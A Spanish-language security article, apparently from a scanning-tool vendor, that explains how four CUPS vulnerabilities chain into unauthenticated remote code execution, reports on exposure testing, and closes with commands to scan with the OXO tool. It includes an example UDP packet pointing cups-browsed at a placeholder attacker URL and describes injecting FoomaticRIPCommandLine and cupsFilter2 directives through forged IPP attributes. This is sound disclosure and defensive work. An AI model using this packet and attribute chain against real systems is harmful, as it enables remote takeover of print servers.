Evaluación de la exposición a gran escala de las vulnerabilidades de CUPS: CVE encadenadas que conducen a la ejecución remota de código
Este artículo evalúa la exposición a gran escala de los sistemas a varias CVE que afectan al servicio de impresión CUPS y que pueden encadenarse para lograr la ejecución remota de código (RCE) sin autenticación. Ofrecemos una visión general de cómo funcionan en conjunto estas vulnerabilidades, entre ellas CVE-2024-47176, y recorremos el flujo del exploit. Además, analizamos cuántos sistemas son potencialmente vulnerables y destacamos un comportamiento singular observado durante las pruebas.
Introducción
El Common UNIX Printing System (CUPS) es un sistema de impresión ampliamente utilizado que permite a los equipos conectados en red gestionar trabajos de impresión e impresoras sin complicaciones. Recientemente, el investigador Simone Margaritelli realizó una investigación impresionante en la que descubrió varias CVE que encadenó con éxito para lograr la ejecución remota de código (RCE) sin autenticación en los sistemas objetivo. Puede leer más sobre esta investigación en el artículo de Simone Margaritelli.
En este artículo desglosaremos el flujo de trabajo del exploit y analizaremos el porcentaje de sistemas vulnerables en una muestra concreta de objetivos.
Detalles técnicos
Cómo lograr RCE en CUPS:
Esta sección describe los distintos pasos para lograr la ejecución remota de código (RCE) y explica cómo intervienen las diferentes CVE.
-
CVE-2024-47176: punto de partida,
cups-browsedy elBrowseSocket:El ataque comienza con el servicio
cups-browsed, responsable de descubrir las impresoras de la red y añadirlas automáticamente al sistema .El servicio crea un socket, llamado
BrowseSocket, que escucha los paquetes entrantes con información de impresoras enINADDR_ANY:631 UDP.
El siguiente paso es identificar dónde se utiliza el
BrowseSocket. Al investigarlo, la funciónprocess_browse_dataaparece como el punto clave.process_browse_data()se encarga de leer un paquete delBrowseSocket. Espera que los datos entrantes respeten un formato específico:HEX_NUMBER HEX_NUMBER TEXT_DATATras recibir el paquete, la función comprueba si la dirección IP de origen tiene permiso para enviar datos. Esto se hace mediante la funciónallowed(), que verifica la dirección IP con el archivo de configuración ubicado en/etc/cups/cups-browsed.conf. Este archivo define qué hosts pueden conectarse y enviar datos.
Pues bien, resulta que, aunque se puede configurar quién puede conectarse y quién no editando el archivo de configuración /etc/cups/cups-browsed.conf, la configuración predeterminada en la mayoría de los sistemas está completamente comentada. Esto significa que, salvo que el administrador restrinja el acceso de forma explícita, el sistema queda abierto a conexiones desde cualquier dirección IP. Como resultado, la comprobación de
allowed()siempre tendrá éxito, lo que deja el sistema expuesto a una posible explotación desde cualquier origen.Una vez superada la comprobación de la IP de origen, el paquete se analiza y dos campos se pasan a la función
found_cups_printer()para su posterior procesamiento. -
CVE-2024-47076: inyección de URI maliciosa y explotación:
Uno de los dos campos extraídos del paquete es el URI de la impresora.

Seguimiento de cómo se utiliza este parámetro y cómo pasa por las distintas funciones :
A partir de
found_cups_printer, el URI se pasa a la funciónexamine_discovered_printer_record(), que lo pasa acreate_remote_printer_entry(). Esta secuencia de llamadas a funciones conduce finalmente acfGetPrinterAttributes()de la bibliotecalibcupsfilters.
La función
cfGetPrinterAttributes()se encarga de realizar una solicitud HTTP al URI de la impresora proporcionado para obtener los detalles de la impresora.
En este punto, un actor malicioso puede enviar un paquete UDP especialmente manipulado al puerto 631 con un URI malicioso incrustado, como por ejemplo:
0 3 http://<ATTACKER-IP>:<PORT>/printers/whateverEste paquete eludirá la validación débil y hará que
cups-browsedse conecte de vuelta a la URL controlada por el atacante.
-
CVE-2024-47175: atributos IPP maliciosos del atacante y creación del archivo PPD:
Después de que el servidor del atacante envíe una respuesta con atributos IPP manipulados, diseñados para imitar las capacidades de una impresora legítima,
cups-browsedprocesa esos atributos. Lo hace invocando la funcióncreate_queue(), que a su vez llama a la APIppdCreatePPDFromIPP2()de la bibliotecalibppd. Esta API se encarga de crear un archivo PPD (PostScript Printer Description) temporal en el que se almacenan los atributos recibidos.Un archivo PostScript Printer Description es un archivo de texto proporcionado por los fabricantes de impresoras que describe el conjunto completo de funciones y capacidades disponibles para una impresora PostScript concreta. Estos archivos cumplen varias funciones:
- Definen cómo invocar las funciones en los trabajos de impresión, incluidas las resoluciones admitidas por la impresora, los tamaños de papel y las funcionalidades especiales (por ejemplo, la impresión a doble cara).
- El PPD actúa como controlador de las impresoras PostScript al ofrecer al sistema CUPS una forma estandarizada de interactuar con distintas impresoras, independientemente del fabricante.
- El PPD también contiene el código PostScript (comandos) utilizado para invocar las funciones del trabajo de impresión.


La función
ppdCreatePPDFromIPP2()escribe los atributos IPP controlados por el atacante directamente en el archivo PPD sin ningún tipo de saneamiento.
-
CVE-2024-47177: explotación de los filtros de CUPS:
Ahora que podemos establecer atributos que se guardan en el archivo PPD, podemos indicar a CUPS que ejecute determinados comandos al procesar los trabajos de impresión.
CUPS admite una gran variedad de instrucciones mediante estos atributos, y una de las que se pueden explotar es
cupsFilter2.Un filtro es un ejecutable ubicado en el directorio
/usr/lib/cups/filter. CUPS restringe la ejecución de filtros a este directorio, lo que significa que no se puede especificar un binario cualquiera. Estos filtros se ejecutan cuando se envía un trabajo de impresión a la impresora, normalmente para realizar la conversión del documento si la impresora no admite de forma nativa el formato del documento.Dada esta restricción sobre qué binario puede ejecutarse, el objetivo es explotar uno de los filtros existentes para ejecutar comandos arbitrarios.
Explotación del filtro
foomatic-rip:Por fortuna para los atacantes, un filtro,
foomatic-rip, seguía siendo vulnerable a un antiguo fallo de ejecución de comandos,CVE-2011-2964yCVE-2011-2697. Este filtro aceptaba la directivaFoomaticRIPCommandLineen el archivo PPD, lo que permitía ejecutar CUALQUIER comando a través de él.Al explotar esta vulnerabilidad, un atacante puede inyectar la directiva
FoomaticRIPCommandLineen el archivo PPD, lo que hace que CUPS ejecute comandos arbitrarios durante el proceso del trabajo de impresión.Para llevar a cabo el ataque, se requieren los siguientes pasos:
- Forzar al equipo objetivo a conectarse a un servidor IPP malicioso: el primer paso consiste en lograr que el equipo objetivo se comunique con un servidor IPP falso que usted controla.
- Devolver una cadena de atributos IPP maliciosa:
- Inyectar un atributo
printer-privacy-policy-uricon una URL de política falsa como"https://www.example.com/", seguido de un salto de línea para terminar la cadena. - Añadir una directiva
FoomaticRIPCommandLine: "COMMAND"para ejecutar un comando en el equipo objetivo. - Incluir una directiva
cupsFilter2:"application/pdf application/vnd.cups-postscript 0 foomatic-rip", que garantiza que, cuando se envíe un trabajo de impresión, se active la ejecución del filtrofoomatic-ripcon el comando inyectado.
- Inyectar un atributo
- Activar la ejecución: una vez que se envía un trabajo de impresión a la impresora maliciosa, se ejecutarán las directivas PPD inyectadas, lo que permite completar el ataque.
Evaluación de vulnerabilidades de CUPS a gran escala: detección y análisis:
Antes de realizar nuestra evaluación a gran escala, nos propusimos inicialmente identificar el servicio CUPS mediante su puerto UDP, concretamente el que abre BrowseSocket. Este socket escucha en INADDR_ANY:631 UDP y creíamos que nos permitiría identificar los sistemas que ejecutan CUPS enviando solicitudes a este puerto. Sin embargo, durante las pruebas, ya fuera manualmente o con herramientas como Nmap, no logramos obtener ninguna respuesta del servidor CUPS.
Para investigar por qué no recibíamos respuestas, examinamos el código fuente de CUPS, centrándonos en las funciones que devuelven datos a los clientes. Durante esta búsqueda, identificamos la función sendto, que se utiliza para enviar respuestas.
Buscamos la función sendto, que es la responsable de enviar las respuestas.

broadcast_browse_packets, que es llamada por send_browse_data.

send_browse_data se llama en la función principal pero solo se ejecuta si se cumple una condición específica: if (BrowseLocalProtocols & BROWSE_CUPS).

BrowseLocalProtocols, vimos que estaba establecido en none, lo que significa que la condición nunca se cumple. Esto explica por qué no se envió ninguna respuesta a nuestros intentos de identificación mediante UDP.


Pruebas de la vulnerabilidad con OXO
Si le preocupa que su instancia pueda ser vulnerable, siga estos pasos para ejecutar una prueba con la herramienta OXO:
Instale OXO mediante pip:
pip install -U ostorlab
Instale el agente asteroid desde la tienda de agentes de OXO:
oxo agent install agent/ostorlab/asteroid
Ejecute el escaneo con el agente asteroid mediante el siguiente comando:
oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET